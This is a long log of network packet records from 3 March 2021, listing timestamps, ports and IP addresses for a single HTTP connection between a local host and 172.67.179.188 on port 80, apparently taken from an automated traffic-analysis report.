Mar 3, 2021 07:33:31.437237978 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.437244892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.437268972 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.437293053 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438020945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438047886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438067913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438076019 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438091993 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438108921 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438113928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438133955 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438180923 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438868046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438894987 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438916922 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438940048 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438945055 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438961029 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.438967943 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.438982010 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439001083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.439742088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439770937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439790964 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439794064 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.439811945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439831972 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439836979 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.439855099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.439908981 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.440577984 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440602064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440625906 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440646887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440658092 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.440666914 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440685034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440686941 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.440700054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.440709114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.440751076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.441525936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441556931 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441581964 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441602945 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441612005 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.441625118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441637039 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.441648960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441672087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.441704035 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.442481041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442509890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442533970 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442555904 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442565918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.442579031 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442600965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442605972 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.442625046 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.442629099 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.442667007 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.443416119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443447113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443470001 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443491936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443491936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.443515062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443536997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443559885 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.443559885 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.443598032 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.444353104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444381952 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444403887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444426060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444436073 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.444447041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444464922 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.444469929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444490910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.444493055 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.444538116 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.445225000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445261002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445286036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445310116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445312977 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.445331097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445349932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.445354939 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445378065 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.445431948 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.446135044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446166992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446190119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446212053 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446234941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446244001 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.446259022 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446276903 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.446297884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.446892977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446940899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.446971893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.446988106 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447032928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447062016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.447074890 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447118044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447151899 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.447161913 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447252989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.447745085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447783947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447808027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447829008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447849989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.447890997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.447956085 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448332071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448359966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448379040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448390007 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448441029 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448662043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448688030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448708057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448731899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448736906 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448754072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448776007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448796034 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448796034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448817015 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.448827982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.448868036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.449654102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449685097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449707985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449733973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449742079 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.449754000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449774027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449781895 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.449793100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449812889 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.449815989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.449865103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.450613976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450639009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450664997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450686932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450709105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450731039 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450752020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450778008 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.450800896 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.450848103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.451543093 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451572895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451596975 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451617002 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451638937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451652050 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.451661110 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451683044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451683998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.451704025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.451711893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.451746941 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.452461004 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.452487946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.452514887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.452538013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.452541113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.452557087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.452579021 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.458596945 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.556164026 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.604266882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749295950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749332905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749353886 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749377966 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749409914 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749422073 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749445915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749465942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749486923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749490023 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749506950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749531031 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749531984 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749553919 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749573946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749576092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749598026 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749622107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749625921 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749643087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749666929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749666929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749689102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749711990 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749715090 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749737024 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749758959 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749779940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749780893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749802113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749819994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.749821901 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749850035 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.749982119 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750005960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750030041 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750034094 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.750052929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750071049 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.750073910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750096083 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750112057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.750114918 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.750170946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.816828012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.816870928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.816895962 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.816941977 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.816943884 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.816968918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.816992044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817003965 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817014933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817038059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817039967 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817060947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817078114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817085028 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817109108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817137003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817147970 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817161083 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817182064 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817183971 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817208052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817224979 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817231894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817255020 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817279100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817295074 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817305088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817322016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817332983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817358971 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817397118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817404985 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817424059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817442894 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817446947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817466021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817507982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817629099 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817652941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817676067 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817696095 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817699909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817718983 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817723036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817749023 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817765951 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817773104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817795992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817812920 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817819118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817842007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817857027 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817863941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817887068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817910910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817922115 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817935944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817958117 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.817960978 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.817986965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818001986 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818604946 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818635941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818656921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818661928 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818679094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818694115 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818702936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818726063 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818747044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818749905 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818767071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818783998 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818788052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818809032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818830013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818837881 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818850994 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818872929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.818872929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.818911076 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.883970976 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884001970 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884017944 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884033918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884051085 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884069920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884088039 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884087086 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884103060 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884119034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884134054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884138107 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884191036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884402037 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884419918 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884434938 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884450912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884463072 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884466887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884485960 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884488106 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884504080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884519100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884533882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884533882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884550095 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884552002 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884566069 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884582043 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884588003 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.884598017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884619951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.884634972 CET	49778	80	192.168.2.4	172.67.179.188
